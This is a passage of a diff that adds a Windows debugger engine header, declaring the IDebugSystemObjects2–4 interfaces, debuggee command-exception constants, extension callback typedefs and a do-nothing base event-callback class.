THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the offset of the current threads + // TEB. In user mode this is equivalent to + // the threads data offset. + STDMETHOD(GetCurrentThreadTeb)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger thread ID for the given TEB. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByTeb)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the system unique ID for the current thread. + // Not currently supported when kernel debugging. + STDMETHOD(GetCurrentThreadSystemId)( + THIS_ + __out PULONG SysId + ) PURE; + // Looks up a debugger thread ID for the given + // system thread ID. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdBySystemId)( + THIS_ + __in ULONG SysId, + __out PULONG Id + ) PURE; + // Returns the handle of the current thread. + // In kernel mode the value returned is the + // index of the processor the thread is + // executing on plus one. + STDMETHOD(GetCurrentThreadHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + // Looks up a debugger thread ID for the given handle. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByHandle)( + THIS_ + __in ULONG64 Handle, + __out PULONG Id + ) PURE; + + // Currently kernel mode sessions will only have + // a single process representing kernel space. + STDMETHOD(GetNumberProcesses)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetProcessIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount_opt(Count) PULONG Ids, + __out_ecount_opt(Count) PULONG SysIds + ) PURE; + // Returns the offset of the current processs + // system data structure. When kernel debugging + // this is the offset of the KPROCESS of + // the process that owns the current thread. + // When user debugging it is the offset + // of the current PEB. + STDMETHOD(GetCurrentProcessDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger process ID for the given + // system process data structure. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdByDataOffset)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the offset of the current processs + // PEB. In user mode this is equivalent to + // the processs data offset. + STDMETHOD(GetCurrentProcessPeb)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger process ID for the given PEB. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdByPeb)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the system unique ID for the current process. + // Not currently supported when kernel debugging. + STDMETHOD(GetCurrentProcessSystemId)( + THIS_ + __out PULONG SysId + ) PURE; + // Looks up a debugger process ID for the given + // system process ID. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdBySystemId)( + THIS_ + __in ULONG SysId, + __out PULONG Id + ) PURE; + // Returns the handle of the current process. + // In kernel mode this is the kernel processs + // artificial handle used for symbol operations + // and so can only be used with dbghelp APIs. + STDMETHOD(GetCurrentProcessHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + // Looks up a debugger process ID for the given handle. + STDMETHOD(GetProcessIdByHandle)( + THIS_ + __in ULONG64 Handle, + __out PULONG Id + ) PURE; + // Retrieve the name of the executable loaded + // in the process. This may fail if no executable + // was identified. + STDMETHOD(GetCurrentProcessExecutableName)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ExeSize + ) PURE; + + // IDebugSystemObjects2. + + // Return the number of seconds that the current + // process has been running. + STDMETHOD(GetCurrentProcessUpTime)( + THIS_ + __out PULONG UpTime + ) PURE; + + // During kernel sessions the debugger retrieves + // some information from the system thread and process + // running on the current processor. For example, + // the debugger will retrieve virtual memory translation + // information for when the debugger needs to + // carry out its own virtual to physical translations. + // Occasionally it can be interesting to perform + // similar operations but on a process which isnt + // currently running. The follow methods allow a caller + // to override the data offsets used by the debugger + // so that other system threads and processes can + // be used instead. These values are defaulted to + // the thread and process running on the current + // processor each time the debuggee executes or + // the current processor changes. + // The thread and process settings are independent so + // it is possible to refer to a thread in a process + // other than the current process and vice versa. + // Setting an offset of zero will reload the + // default value. + STDMETHOD(GetImplicitThreadDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(SetImplicitThreadDataOffset)( + THIS_ + __in ULONG64 Offset + ) PURE; + STDMETHOD(GetImplicitProcessDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(SetImplicitProcessDataOffset)( + THIS_ + __in ULONG64 Offset + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugSystemObjects3 +DECLARE_INTERFACE_(IDebugSystemObjects3, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugSystemObjects. + + // In user mode debugging the debugger + // tracks all threads and processes and + // enumerates them through the following + // methods. When enumerating threads + // the threads are enumerated for the current + // process. + // Kernel mode debugging currently is + // limited to enumerating only the threads + // assigned to processors, not all of + // the threads in the system. Process + // enumeration is limited to a single + // virtual process representing kernel space. + + // Returns the ID of the thread on which + // the last event occurred. + STDMETHOD(GetEventThread)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(GetEventProcess)( + THIS_ + __out PULONG Id + ) PURE; + + // Controls implicit thread used by the + // debug engine. The debuggers current + // thread is just a piece of data held + // by the debugger for calls which use + // thread-specific information. In those + // calls the debuggers current thread is used. + // The debuggers current thread is not related + // to any system thread attribute. + // IDs for threads are small integer IDs + // maintained by the engine. They are not + // related to system thread IDs. + STDMETHOD(GetCurrentThreadId)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(SetCurrentThreadId)( + THIS_ + __in ULONG Id + ) PURE; + // The current process is the process + // that owns the current thread. + STDMETHOD(GetCurrentProcessId)( + THIS_ + __out PULONG Id + ) PURE; + // Setting the current process automatically + // sets the current thread to the thread that + // was last current in that process. + STDMETHOD(SetCurrentProcessId)( + THIS_ + __in ULONG Id + ) PURE; + + // Gets the number of threads in the current process. + STDMETHOD(GetNumberThreads)( + THIS_ + __out PULONG Number + ) PURE; + // Gets thread count information for all processes + // and the largest number of threads in a single process. + STDMETHOD(GetTotalNumberThreads)( + THIS_ + __out PULONG Total, + __out PULONG LargestProcess + ) PURE; + STDMETHOD(GetThreadIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount_opt(Count) PULONG Ids, + __out_ecount_opt(Count) PULONG SysIds + ) PURE; + // Gets the debugger ID for the thread + // currently running on the given + // processor. Only works in kernel + // debugging. + STDMETHOD(GetThreadIdByProcessor)( + THIS_ + __in ULONG Processor, + __out PULONG Id + ) PURE; + // Returns the offset of the current threads + // system data structure. When kernel debugging + // this is the offset of the KTHREAD. + // When user debugging it is the offset + // of the current TEB. + STDMETHOD(GetCurrentThreadDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger thread ID for the given + // system thread data structure. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByDataOffset)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the offset of the current threads + // TEB. In user mode this is equivalent to + // the threads data offset. + STDMETHOD(GetCurrentThreadTeb)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger thread ID for the given TEB. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByTeb)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the system unique ID for the current thread. + // Not currently supported when kernel debugging. + STDMETHOD(GetCurrentThreadSystemId)( + THIS_ + __out PULONG SysId + ) PURE; + // Looks up a debugger thread ID for the given + // system thread ID. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdBySystemId)( + THIS_ + __in ULONG SysId, + __out PULONG Id + ) PURE; + // Returns the handle of the current thread. + // In kernel mode the value returned is the + // index of the processor the thread is + // executing on plus one. + STDMETHOD(GetCurrentThreadHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + // Looks up a debugger thread ID for the given handle. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByHandle)( + THIS_ + __in ULONG64 Handle, + __out PULONG Id + ) PURE; + + // Currently kernel mode sessions will only have + // a single process representing kernel space. + STDMETHOD(GetNumberProcesses)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetProcessIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount_opt(Count) PULONG Ids, + __out_ecount_opt(Count) PULONG SysIds + ) PURE; + // Returns the offset of the current processs + // system data structure. When kernel debugging + // this is the offset of the KPROCESS of + // the process that owns the current thread. + // When user debugging it is the offset + // of the current PEB. + STDMETHOD(GetCurrentProcessDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger process ID for the given + // system process data structure. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdByDataOffset)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the offset of the current processs + // PEB. In user mode this is equivalent to + // the processs data offset. + STDMETHOD(GetCurrentProcessPeb)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger process ID for the given PEB. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdByPeb)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the system unique ID for the current process. + // Not currently supported when kernel debugging. + STDMETHOD(GetCurrentProcessSystemId)( + THIS_ + __out PULONG SysId + ) PURE; + // Looks up a debugger process ID for the given + // system process ID. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdBySystemId)( + THIS_ + __in ULONG SysId, + __out PULONG Id + ) PURE; + // Returns the handle of the current process. + // In kernel mode this is the kernel processs + // artificial handle used for symbol operations + // and so can only be used with dbghelp APIs. + STDMETHOD(GetCurrentProcessHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + // Looks up a debugger process ID for the given handle. + STDMETHOD(GetProcessIdByHandle)( + THIS_ + __in ULONG64 Handle, + __out PULONG Id + ) PURE; + // Retrieve the name of the executable loaded + // in the process. This may fail if no executable + // was identified. + STDMETHOD(GetCurrentProcessExecutableName)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ExeSize + ) PURE; + + // IDebugSystemObjects2. + + // Return the number of seconds that the current + // process has been running. + STDMETHOD(GetCurrentProcessUpTime)( + THIS_ + __out PULONG UpTime + ) PURE; + + // During kernel sessions the debugger retrieves + // some information from the system thread and process + // running on the current processor. For example, + // the debugger will retrieve virtual memory translation + // information for when the debugger needs to + // carry out its own virtual to physical translations. + // Occasionally it can be interesting to perform + // similar operations but on a process which isnt + // currently running. The follow methods allow a caller + // to override the data offsets used by the debugger + // so that other system threads and processes can + // be used instead. These values are defaulted to + // the thread and process running on the current + // processor each time the debuggee executes or + // the current processor changes. + // The thread and process settings are independent so + // it is possible to refer to a thread in a process + // other than the current process and vice versa. + // Setting an offset of zero will reload the + // default value. + STDMETHOD(GetImplicitThreadDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(SetImplicitThreadDataOffset)( + THIS_ + __in ULONG64 Offset + ) PURE; + STDMETHOD(GetImplicitProcessDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(SetImplicitProcessDataOffset)( + THIS_ + __in ULONG64 Offset + ) PURE; + + // IDebugSystemObjects3. + + STDMETHOD(GetEventSystem)( + THIS_ + __out PULONG Id + ) PURE; + + STDMETHOD(GetCurrentSystemId)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(SetCurrentSystemId)( + THIS_ + __in ULONG Id + ) PURE; + + STDMETHOD(GetNumberSystems)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetSystemIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Ids + ) PURE; + STDMETHOD(GetTotalNumberThreadsAndProcesses)( + THIS_ + __out PULONG TotalThreads, + __out PULONG TotalProcesses, + __out PULONG LargestProcessThreads, + __out PULONG LargestSystemThreads, + __out PULONG LargestSystemProcesses + ) PURE; + STDMETHOD(GetCurrentSystemServer)( + THIS_ + __out PULONG64 Server + ) PURE; + STDMETHOD(GetSystemByServer)( + THIS_ + __in ULONG64 Server, + __out PULONG Id + ) PURE; + STDMETHOD(GetCurrentSystemServerName)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugSystemObjects4 +DECLARE_INTERFACE_(IDebugSystemObjects4, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugSystemObjects. + + // In user mode debugging the debugger + // tracks all threads and processes and + // enumerates them through the following + // methods. When enumerating threads + // the threads are enumerated for the current + // process. + // Kernel mode debugging currently is + // limited to enumerating only the threads + // assigned to processors, not all of + // the threads in the system. Process + // enumeration is limited to a single + // virtual process representing kernel space. + + // Returns the ID of the thread on which + // the last event occurred. + STDMETHOD(GetEventThread)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(GetEventProcess)( + THIS_ + __out PULONG Id + ) PURE; + + // Controls implicit thread used by the + // debug engine. The debuggers current + // thread is just a piece of data held + // by the debugger for calls which use + // thread-specific information. In those + // calls the debuggers current thread is used. + // The debuggers current thread is not related + // to any system thread attribute. + // IDs for threads are small integer IDs + // maintained by the engine. They are not + // related to system thread IDs. + STDMETHOD(GetCurrentThreadId)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(SetCurrentThreadId)( + THIS_ + __in ULONG Id + ) PURE; + // The current process is the process + // that owns the current thread. + STDMETHOD(GetCurrentProcessId)( + THIS_ + __out PULONG Id + ) PURE; + // Setting the current process automatically + // sets the current thread to the thread that + // was last current in that process. + STDMETHOD(SetCurrentProcessId)( + THIS_ + __in ULONG Id + ) PURE; + + // Gets the number of threads in the current process. + STDMETHOD(GetNumberThreads)( + THIS_ + __out PULONG Number + ) PURE; + // Gets thread count information for all processes + // and the largest number of threads in a single process. + STDMETHOD(GetTotalNumberThreads)( + THIS_ + __out PULONG Total, + __out PULONG LargestProcess + ) PURE; + STDMETHOD(GetThreadIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount_opt(Count) PULONG Ids, + __out_ecount_opt(Count) PULONG SysIds + ) PURE; + // Gets the debugger ID for the thread + // currently running on the given + // processor. Only works in kernel + // debugging. + STDMETHOD(GetThreadIdByProcessor)( + THIS_ + __in ULONG Processor, + __out PULONG Id + ) PURE; + // Returns the offset of the current threads + // system data structure. When kernel debugging + // this is the offset of the KTHREAD. + // When user debugging it is the offset + // of the current TEB. + STDMETHOD(GetCurrentThreadDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger thread ID for the given + // system thread data structure. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByDataOffset)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the offset of the current threads + // TEB. In user mode this is equivalent to + // the threads data offset. + STDMETHOD(GetCurrentThreadTeb)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger thread ID for the given TEB. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByTeb)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the system unique ID for the current thread. + // Not currently supported when kernel debugging. + STDMETHOD(GetCurrentThreadSystemId)( + THIS_ + __out PULONG SysId + ) PURE; + // Looks up a debugger thread ID for the given + // system thread ID. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdBySystemId)( + THIS_ + __in ULONG SysId, + __out PULONG Id + ) PURE; + // Returns the handle of the current thread. + // In kernel mode the value returned is the + // index of the processor the thread is + // executing on plus one. + STDMETHOD(GetCurrentThreadHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + // Looks up a debugger thread ID for the given handle. + // Currently when kernel debugging this will fail + // if the thread is not executing on a processor. + STDMETHOD(GetThreadIdByHandle)( + THIS_ + __in ULONG64 Handle, + __out PULONG Id + ) PURE; + + // Currently kernel mode sessions will only have + // a single process representing kernel space. + STDMETHOD(GetNumberProcesses)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetProcessIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount_opt(Count) PULONG Ids, + __out_ecount_opt(Count) PULONG SysIds + ) PURE; + // Returns the offset of the current processs + // system data structure. When kernel debugging + // this is the offset of the KPROCESS of + // the process that owns the current thread. + // When user debugging it is the offset + // of the current PEB. + STDMETHOD(GetCurrentProcessDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger process ID for the given + // system process data structure. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdByDataOffset)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the offset of the current processs + // PEB. In user mode this is equivalent to + // the processs data offset. + STDMETHOD(GetCurrentProcessPeb)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Looks up a debugger process ID for the given PEB. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdByPeb)( + THIS_ + __in ULONG64 Offset, + __out PULONG Id + ) PURE; + // Returns the system unique ID for the current process. + // Not currently supported when kernel debugging. + STDMETHOD(GetCurrentProcessSystemId)( + THIS_ + __out PULONG SysId + ) PURE; + // Looks up a debugger process ID for the given + // system process ID. + // Not currently supported when kernel debugging. + STDMETHOD(GetProcessIdBySystemId)( + THIS_ + __in ULONG SysId, + __out PULONG Id + ) PURE; + // Returns the handle of the current process. + // In kernel mode this is the kernel processs + // artificial handle used for symbol operations + // and so can only be used with dbghelp APIs. + STDMETHOD(GetCurrentProcessHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + // Looks up a debugger process ID for the given handle. + STDMETHOD(GetProcessIdByHandle)( + THIS_ + __in ULONG64 Handle, + __out PULONG Id + ) PURE; + // Retrieve the name of the executable loaded + // in the process. This may fail if no executable + // was identified. + STDMETHOD(GetCurrentProcessExecutableName)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ExeSize + ) PURE; + + // IDebugSystemObjects2. + + // Return the number of seconds that the current + // process has been running. + STDMETHOD(GetCurrentProcessUpTime)( + THIS_ + __out PULONG UpTime + ) PURE; + + // During kernel sessions the debugger retrieves + // some information from the system thread and process + // running on the current processor. For example, + // the debugger will retrieve virtual memory translation + // information for when the debugger needs to + // carry out its own virtual to physical translations. + // Occasionally it can be interesting to perform + // similar operations but on a process which isnt + // currently running. The follow methods allow a caller + // to override the data offsets used by the debugger + // so that other system threads and processes can + // be used instead. These values are defaulted to + // the thread and process running on the current + // processor each time the debuggee executes or + // the current processor changes. + // The thread and process settings are independent so + // it is possible to refer to a thread in a process + // other than the current process and vice versa. + // Setting an offset of zero will reload the + // default value. + STDMETHOD(GetImplicitThreadDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(SetImplicitThreadDataOffset)( + THIS_ + __in ULONG64 Offset + ) PURE; + STDMETHOD(GetImplicitProcessDataOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(SetImplicitProcessDataOffset)( + THIS_ + __in ULONG64 Offset + ) PURE; + + // IDebugSystemObjects3. + + STDMETHOD(GetEventSystem)( + THIS_ + __out PULONG Id + ) PURE; + + STDMETHOD(GetCurrentSystemId)( + THIS_ + __out PULONG Id + ) PURE; + STDMETHOD(SetCurrentSystemId)( + THIS_ + __in ULONG Id + ) PURE; + + STDMETHOD(GetNumberSystems)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetSystemIdsByIndex)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Ids + ) PURE; + STDMETHOD(GetTotalNumberThreadsAndProcesses)( + THIS_ + __out PULONG TotalThreads, + __out PULONG TotalProcesses, + __out PULONG LargestProcessThreads, + __out PULONG LargestSystemThreads, + __out PULONG LargestSystemProcesses + ) PURE; + STDMETHOD(GetCurrentSystemServer)( + THIS_ + __out PULONG64 Server + ) PURE; + STDMETHOD(GetSystemByServer)( + THIS_ + __in ULONG64 Server, + __out PULONG Id + ) PURE; + STDMETHOD(GetCurrentSystemServerName)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + + // IDebugSystemObjects4. + + STDMETHOD(GetCurrentProcessExecutableNameWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ExeSize + ) PURE; + + STDMETHOD(GetCurrentSystemServerNameWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// Debugger/debuggee communication. +// +// A distinguished exception, DBG_COMMAND_EXCEPTION (0x40010009), +// can be used by a debuggee to communicate with the debugger. +// The arguments of the exception must be: +// 1. Exception ID. +// 2. Command code. +// 3. Size of argument. +// 4. Pointer to argument. +// +// The arguments depend on the command code. +// +//---------------------------------------------------------------------------- + +#define DEBUG_COMMAND_EXCEPTION_ID 0xdbe00dbe + +// Invalid command code. +#define DEBUG_CMDEX_INVALID 0x00000000 + +// +// The debugger can collect strings for display at the +// next event. A debuggee can use this to register information +// about a program situation before places where an event +// may occur, such as a risky operation or assertion. +// The strings are automatically flushed on the next +// event continuation. Strings are kept on a per-thread basis. +// +// When adding, the argument is the string to add. +// Reset has no arguments and clears all strings. +// +#define DEBUG_CMDEX_ADD_EVENT_STRING 0x00000001 +#define DEBUG_CMDEX_RESET_EVENT_STRINGS 0x00000002 + +#ifndef DEBUG_NO_IMPLEMENTATION + +FORCEINLINE void +DebugCommandException(ULONG Command, ULONG ArgSize, PVOID Arg) +{ + ULONG_PTR ExArgs[4]; + + ExArgs[0] = DEBUG_COMMAND_EXCEPTION_ID; + ExArgs[1] = Command; + ExArgs[2] = ArgSize; + ExArgs[3] = (ULONG_PTR)Arg; + RaiseException(DBG_COMMAND_EXCEPTION, 0, 4, ExArgs); +} + +#endif // #ifndef DEBUG_NO_IMPLEMENTATION + +//---------------------------------------------------------------------------- +// +// Extension callbacks. +// +//---------------------------------------------------------------------------- + +// Returns a version with the major version in +// the high word and the minor version in the low word. +#define DEBUG_EXTENSION_VERSION(Major, Minor) \ + ((((Major) & 0xffff) << 16) | ((Minor) & 0xffff)) + +// +// Descriptive flags returned from extension initialization. +// + +// Extension has a !help command which can give +// per-command help. +#define DEBUG_EXTINIT_HAS_COMMAND_HELP 0x00000001 + +// Initialization routine. Called once when the extension DLL +// is loaded. Returns a version and returns flags detailing +// overall qualities of the extension DLL. +// A session may or may not be active at the time the DLL +// is loaded so initialization routines should not expect +// to be able to query session information. +typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_INITIALIZE) + (__out PULONG Version, __out PULONG Flags); +// Exit routine. Called once just before the extension DLL is +// unloaded. As with initialization, a session may or +// may not be active at the time of the call. +typedef void (CALLBACK* PDEBUG_EXTENSION_UNINITIALIZE) + (void); + +// A debuggee has been discovered for the session. It +// is not necessarily halted. +#define DEBUG_NOTIFY_SESSION_ACTIVE 0x00000000 +// The session no longer has a debuggee. +#define DEBUG_NOTIFY_SESSION_INACTIVE 0x00000001 +// The debuggee is halted and accessible. +#define DEBUG_NOTIFY_SESSION_ACCESSIBLE 0x00000002 +// The debuggee is running or inaccessible. +#define DEBUG_NOTIFY_SESSION_INACCESSIBLE 0x00000003 + +typedef void (CALLBACK* PDEBUG_EXTENSION_NOTIFY) + (__in ULONG Notify, __in ULONG64 Argument); + +// A PDEBUG_EXTENSION_CALL function can return this code +// to indicate that it was unable to handle the request +// and that the search for an extension function should +// continue down the extension DLL chain. +// Taken from STATUS_VALIDATE_CONTINUE. +#define DEBUG_EXTENSION_CONTINUE_SEARCH \ + HRESULT_FROM_NT(0xC0000271L) + +// A PDEBUG_EXTENSION_CALL function can return this code +// to indicate that the engine should unload and reload +// the extension binary. This allows extensions to implement +// auto-update functionality. +#define DEBUG_EXTENSION_RELOAD_EXTENSION \ + HRESULT_FROM_NT(0xC00000EEL) + +// Every routine in an extension DLL has the following prototype. +// The extension may be called from multiple clients so it +// should not cache the client value between calls. +typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_CALL) + (__in PDEBUG_CLIENT Client, __in_opt PCSTR Args); + +// +// KnownStructOutput[Ex] flags +// + +// Return names of supported structs. +#define DEBUG_KNOWN_STRUCT_GET_NAMES 1 +// Return value output for type. +#define DEBUG_KNOWN_STRUCT_GET_SINGLE_LINE_OUTPUT 2 +// Return S_OK if suppressing type name. +#define DEBUG_KNOWN_STRUCT_SUPPRESS_TYPE_NAME 3 + +// Extensions may export this callback in order to dump structs that +// are well known to them. The engine calls this to inject extension +// output into dt's struct dump. +typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_KNOWN_STRUCT) + (__in ULONG Flags, + __in ULONG64 Offset, + __in_opt PSTR TypeName, + __out_ecount_opt(*BufferChars) PSTR Buffer, + __inout_opt PULONG BufferChars); +typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_KNOWN_STRUCT_EX) + (__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __in ULONG64 Offset, + __in_opt PCSTR TypeName, + __out_ecount_opt(*BufferChars) PSTR Buffer, + __inout_opt PULONG BufferChars); + +// Backwards compatibility with old, incorrect name. +typedef PDEBUG_EXTENSION_KNOWN_STRUCT PDEBUG_ENTENSION_KNOWNSTRUCT; + +// +// Extensions can provide pseudo-register values that +// operate similiarly to the debugger's built-in $teb, etc. +// + +#define DEBUG_EXT_QVALUE_DEFAULT 0x00000000 + +typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_QUERY_VALUE_NAMES) + (__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __out_ecount(BufferChars) PWSTR Buffer, + __in ULONG BufferChars, + __out PULONG BufferNeeded); + +#define DEBUG_EXT_PVALUE_DEFAULT 0x00000000 + +#define DEBUG_EXT_PVTYPE_IS_VALUE 0x00000000 +#define DEBUG_EXT_PVTYPE_IS_POINTER 0x00000001 + +typedef HRESULT (CALLBACK* PDEBUG_EXTENSION_PROVIDE_VALUE) + (__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __in PCWSTR Name, + __out PULONG64 Value, + __out PULONG64 TypeModBase, + __out PULONG TypeId, + __out PULONG TypeFlags); + +//---------------------------------------------------------------------------- +// +// Extension functions. +// +// Extension functions differ from extension callbacks in that +// they are arbitrary functions exported from an extension DLL +// for other code callers instead of for human invocation from +// debugger commands. Extension function pointers are retrieved +// for an extension DLL with IDebugControl::GetExtensionFunction. +// +// Extension function names must begin with _EFN_. Other than that +// they can have any name and prototype. Extension functions +// must be public exports of their extension DLL. They should +// have a typedef for their function pointer prototype in an +// extension header so that callers have a header file to include +// with a type that allows a correctly-formed invocation of the +// extension function. +// +// The engine does not perform any validation of calls to +// extension functions. Once the extension function pointer +// is retrieved with GetExtensionFunction all calls go +// directly between the caller and the extension function and +// are not mediated by the engine. +// +//---------------------------------------------------------------------------- + +#ifdef __cplusplus +}; + +//---------------------------------------------------------------------------- +// +// C++ implementation helper classes. +// +//---------------------------------------------------------------------------- + +#if !defined(DEBUG_NO_IMPLEMENTATION) && !defined(_M_CEE_PURE) + +// +// DebugBaseEventCallbacks provides a do-nothing base implementation +// of IDebugEventCallbacks. A program can derive their own +// event callbacks class from DebugBaseEventCallbacks and implement +// only the methods they are interested in. Programs must be +// careful to implement GetInterestMask appropriately. +// +class DebugBaseEventCallbacks : public IDebugEventCallbacks +{ +public: + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) + { + *Interface = NULL; + +#if _MSC_VER >= 1100 + if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) || + IsEqualIID(InterfaceId, __uuidof(IDebugEventCallbacks))) +#else + if (IsEqualIID(InterfaceId, IID_IUnknown) || + IsEqualIID(InterfaceId, IID_IDebugEventCallbacks)) +#endif + { + *Interface = (IDebugEventCallbacks *)this; + AddRef(); + return S_OK; + } + else + { + return E_NOINTERFACE; + } + } + + // IDebugEventCallbacks. + + STDMETHOD(Breakpoint)( + THIS_ + __in PDEBUG_BREAKPOINT Bp + ) + { + UNREFERENCED_PARAMETER(Bp); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(Exception)( + THIS_ + __in PEXCEPTION_RECORD64 Exception, + __in ULONG FirstChance + ) + { + UNREFERENCED_PARAMETER(Exception); + UNREFERENCED_PARAMETER(FirstChance); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(CreateThread)( + THIS_ + __in ULONG64 Handle, + __in ULONG64 DataOffset, + __in ULONG64 StartOffset + ) + { + UNREFERENCED_PARAMETER(Handle); + UNREFERENCED_PARAMETER(DataOffset); + UNREFERENCED_PARAMETER(StartOffset); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(ExitThread)( + THIS_ + __in ULONG ExitCode + ) + { + UNREFERENCED_PARAMETER(ExitCode); + return 